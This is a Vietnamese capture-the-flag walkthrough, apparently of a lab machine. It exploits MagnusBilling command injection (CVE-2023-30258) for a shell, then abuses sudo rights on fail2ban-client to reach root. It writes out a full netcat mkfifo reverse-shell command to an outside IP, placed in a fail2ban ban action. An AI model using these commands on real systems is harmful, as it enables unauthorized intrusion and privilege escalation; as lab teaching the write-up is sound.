Ducker

Trở về

BillingBlur image

Link thử thách

Thu thập thông tin#

Nmap scan#

Mình thực hiện scan các cổng thì thấy một số cổng đang mở như:

  • Dịch vụ SSH.
  • HTTP đang chạy trên Apache 2.4.62
  • Asterisk Call Manager - theo mình tìm hiểu được thì đây là API realtime của Asterisk cho phép developer xây dựng các ứng dụng xoay quanh hệ thống VoIP/Tổng đài.
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0) 
| ssh-hostkey: 
|   256 fb:7c:b8:0d:50:f4:93:61:6b:ce:21:65:19:33:66:ba (ECDSA)
|_  256 f1:e3:57:25:0b:8a:3a:20:40:82:04:a0:f7:40:bf:c2 (ED25519)
80/tcp   open  http     Apache httpd 2.4.62 ((Debian)) 
|_http-server-header: Apache/2.4.62 (Debian)
| http-robots.txt: 1 disallowed entry 
|_/mbilling/
| http-title:             MagnusBilling        
|_Requested resource was http://10.201.16.39/mbilling/
5038/tcp open  asterisk Asterisk Call Manager 2.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
shell

Dịch vụ HTTP#

Khi truy cập vào website, mình được chuyển hướng tới /mbilling.

img

Mình tìm hiểu được rằng đây là một ứng dụng web mã nguồn mở MagnusBilling.

Và mình tìm thấy được file README.md có thông tin rằng họ đang ở phiên bản 7.x.x.

img

Tìm kiếm một tí thì phiên bản này có một lỗ hổng có CVE2023-30258 cho phép thực thi lệnh.

img

Flag 1#

Lỗ hổng Command Injection#

Khi thực thi như PoC thì không có kết quả nào trả về.

img

Để chắc chắn lệnh có thể thực thi, mình sử dụng kỹ thuật time delay, nếu lệnh thực thi được thì nó sẽ phải mất một khoảng thời gian để phản hồi.

Và đúng như dự định với lệnh ping -c 5 đến localhost thì mất khoảng gần 5 giây để hoàn thành, chứng minh lệnh đã thực thi.

img

Truy cập người dùng asterisk và flag#

Mình thực hiện mở một reverse shell và vào được tài khoản asterisk.

Sau đó, mình sử dụng kỹ thuật Stabilizing để có thể tương tác shell linh hoạt hơn.

Tại home của asterisk có file user.txt chứa flag.

img

Flag 2#

fail2ban-client#

Kiểm tra qua thì mình thấy người dùng này có thể sử dụng fail2ban-client với quyền sudo.

asterisk@ip-10-201-18-163:/home/magnus$ sudo -l
Matching Defaults entries for asterisk on ip-10-201-18-163:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
    Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on ip-10-201-18-163:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client
shell

fail2ban-client là ứng dụng cho phép tương tác, cấu hình và điều khiển fail2ban-server.

Thường thì ứng dụng này sẽ hoạt động với quyền root, điều đó dẫn tới việc leo thang đặc quyền lên root nếu cấu hình chưa tốt.

ps -aux | grep fail2ban
root         852  0.1  1.5 1171732 31244 ?       Ssl  20:12   0:05 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
shell

Ứng dụng này hoạt động dựa trên các Jail, giải thích đơn giản thì đây là các cấu hình mà khi các hệ thống giám sát log phát hiện điều gì trùng khớp với cấu hình này sẽ thực hiện hành động như được thiết đặt.

Mình kiểm tra các Jail thì mình thấy có 8 Jail này, chọn cái nào cũng được miễn là nó active.

asterisk@ip-10-201-18-163:/home/magnus$ sudo fail2ban-client status
Status
|- Number of jail:      8
`- Jail list:   ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd
shell

Tại đây mình chọn sshd và tạo một action mới tên exploit.

sudo fail2ban-client set sshd action exploit
shell

Tại action này mình cho nó thực hiện mở kết nối reverse shell, nghĩa là mỗi khi ban một IP nó sẽ thực hiện hành động mà mình đã đặt là

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.17.67.204 7305 >/tmp/f;.

sudo fail2ban-client set sshd action exploit actionban "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.17.67.204 7305 >/tmp/f;"
shell

Truy cập người dùng root và flag#

Khi thực hiện ban IP bất kỳ, nó sẽ bắt đầu thực hiện reverse shell.

asterisk@ip-10-201-18-163:/home/magnus$ sudo fail2ban-client set sshd banip 127.0.0.1
1
shell

Khi kết nối reverse shell thực hiện thành công, mình đã leo thang đặc quyền lên được root và tìm được flag trong file root.txt tại thư mục /root.

img